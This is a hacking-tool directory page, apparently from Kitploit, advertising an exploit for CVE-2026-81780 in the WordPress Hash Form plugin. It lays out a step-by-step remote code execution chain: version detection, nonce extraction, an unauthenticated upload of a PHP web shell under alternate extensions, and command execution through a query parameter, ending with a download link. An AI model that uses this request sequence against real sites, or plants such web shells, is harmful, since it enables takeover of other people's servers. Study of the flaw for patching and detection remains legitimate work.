Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-81780-Hash-Form — Exploit for CVE-2026-81780: unauthenticated file upload in WordPress Hash Form plugin leading to remote code execution via crafted PHP payloads. | Kitploit
Tools/GitHubGitHub/0xterror/cve-2026-81780-hash-form
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHub0xterror/cve-2026-81780-hash-form

CVE-2026-81780-Hash-Form

Exploit for CVE-2026-81780: unauthenticated file upload in WordPress Hash Form plugin leading to remote code execution via crafted PHP payloads.

View Repository
15h 30m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-81780-Hash-Form

CVE-2026-81780 — Hash Form RCE

The Vulnerability

Unauthenticated file upload in WordPress Hash Form plugin (≤ 1.4.2). The plugin allows arbitrary file uploads without proper authentication or file type validation, leading to Remote Code Execution (RCE).


Exploit Chain

Step Action 1 Attacker checks for Hash Form plugin via readme.txt 2 Extracts ajax_nounce by previewing forms (hashform_preview) 3 Sends POST request to hashform_file_upload_action with PHP payload 4 Uploads web shell as .phar, .phtml, .php5, or .php7 5 Triggers shell by accessing /wp-content/uploads/hashform/temp/v.{ext} 6 Executes system commands via ?c=id

root@kitploit:~

GET /wp-content/plugins/hash-form/readme.txt
    ↓
Version Detected (≤ 1.4.2)
    ↓
GET /wp-admin/admin-ajax.php?action=hashform_preview&form=1
    ↓
Extract Nonce: ajax_nounce=...
    ↓
POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action
    ↓
Upload: v.phar (or .phtml, .php5, .php7)
    ↓
GET /wp-content/uploads/hashform/temp/v.phar?c=id
    ↓
Command Executed (uid=www-data)```
Download Tool